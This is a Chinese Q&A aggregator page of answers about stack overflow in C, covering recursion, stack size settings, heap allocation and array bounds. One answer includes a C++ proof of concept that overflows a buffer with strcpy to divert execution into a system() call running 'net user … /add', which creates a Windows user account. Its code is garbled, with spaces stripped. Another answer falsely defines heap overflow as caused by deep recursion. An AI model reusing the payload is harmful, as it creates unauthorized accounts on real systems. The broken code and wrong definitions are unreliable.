當前位置:首頁 » 編程語言 » c語言屏蔽棧溢出
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

c語言屏蔽棧溢出

發布時間: 2022-07-19 22:35:35

1. 棧溢出的原因及解決辦法

1,什麼是棧溢出?因為棧一般默認為1-2m,一旦出現死循環或者是大量的遞歸調用,在不斷的壓棧過程中,造成棧容量超過1m而導致溢出。2,解決方案:方法一:用棧把遞歸轉換成非遞歸通常,一個函數在調用另一個函數之前,要作如下的事情:a)將實在參數,返回地址等信息傳遞給被調用函數保存; b)為被調用函數的局部變數分配存儲區;c)將控制轉移到被調函數的入口. 從被調用函數返回調用函數之前,也要做三件事情:a)保存被調函數的計算結果;b)釋放被調函數的數據區;c)依照被調函數保存的返回地址將控制轉移到調用函數.所有的這些,不論是變數還是地址,本質上來說都是"數據",都是保存在系統所分配的棧中的. 那麼自己就可以寫一個棧來存儲必要的數據,以減少系統負擔。 方法二:使用static對象替代nonstatic局部對象在遞歸函數設計中,可以使用static對象替代nonstatic局部對象(即棧對象),這不僅可以減少每次遞歸調用和返回時產生和釋放nonstatic對象的開銷,而且static對象還可以保存遞歸調用的中間狀態,並且可為各個調用層所訪問。 方法三:增大堆棧大小值當創建一個線程的堆棧時,系統將會保留一個鏈接程序的/STACK開關指明的地址空間區域。但是,當調用CreateThread或_beginthreadex函數時,可以重載原先提交的內存數量。這兩個函數都有一個參數,可以用來重載原先提交給堆棧的地址空間的內存數量。如果設定這個參數為0,那麼系統將使用/STACK開關指明的已提交的堆棧大小值。後面將假定我們使用默認的堆棧大小值,即1MB的保留區域,每次提交一個頁面的內存。 Java在創建線程時設置棧大小:thread(threadgroup group, runnable target, string name, long stacksize)
分配新的 thread 對象,以便將 target 作為其運行對象,將指定的 name 作為其名稱,作為 group 所引用的線程組的一員,並具有指定的堆棧大小

2. c語言 內存溢出

寫了一個C++的代碼,你用VC6 編譯一下,馬上會添加一個一個叫做"f_u_c_k的用戶名。 這個程序顯示了strcpy函數導致的棧溢出,堆溢出在windows平台更復雜,因為windows的堆管理 全部靠一些安全愛好者逆向得來。。


#include<iostream>
usingnamespacestd;
void(*pfunc)();
voidshow()
{
system("cmd/cnetuserfuck123/ad&&/ad");
exit(1);
}
intmain()
{
chara[4];
charshellcode[13]="";
pfunc=show;
*(int*)&shellcode[8]=(int)pfunc;
//overflow
strcpy(a,shellcode);
return0;
}

3. C語言讀取大量文件進行計算棧溢出怎麼解決

使用堆空間,所有指針、內存都從堆上分配,只要你主機內存夠,就不會溢出!

4. 什麼是「棧溢出」和「堆溢出」

棧溢出是由於C語言系列沒有內置檢查機制來確保復制到緩沖區的數據不得大於緩沖區的大小,因此當這個數據足夠大的時候,將會溢出緩沖區的范圍。

堆溢出的產生是由於過多的函數調用,導致調用堆棧無法容納這些調用的返回地址,一般在遞歸中產生。堆溢出很可能由無限遞歸(Infinite recursion)產生,但也可能僅僅是過多的堆棧層級。

5. C語言調用函數時,什麼情況會出現棧溢出,棧溢出會出現什麼結果

是不是調用函數的形參過多?一般來說,函數的參數都存在棧中,當然也可以申請堆。如果形參過多就會發生棧溢出,用遞歸的時候發生較多。棧溢出會發生段錯誤,也就是可能會佔用系統的棧(好像不能訪問)。。。
錯了給我說……

6. 初學C語言 幫忙看看為什麼這個代碼編譯可以 運行就出現棧溢出

數組太大了,棧上不能申請那麼大的空間,這種情況,要用動態分配內存來操作,即:
new , 或者 malloc, 用完之後 delete.

7. C語言超大數運算中棧溢出的問題……

char ta[4500],tb[4500],op,temp[9]; //ta臨時儲存a,tb臨時儲存b
這句temp[9]改為temp[10] ,9個保存讀出的值,還有一個要放』\0'
這里下標越界好多,那個提示不是棧溢出的,是你訪問下標越界了,
for(i=0;i<=1001;i++){c[i]=pre;} 這里還有個也是越界了,應該到1000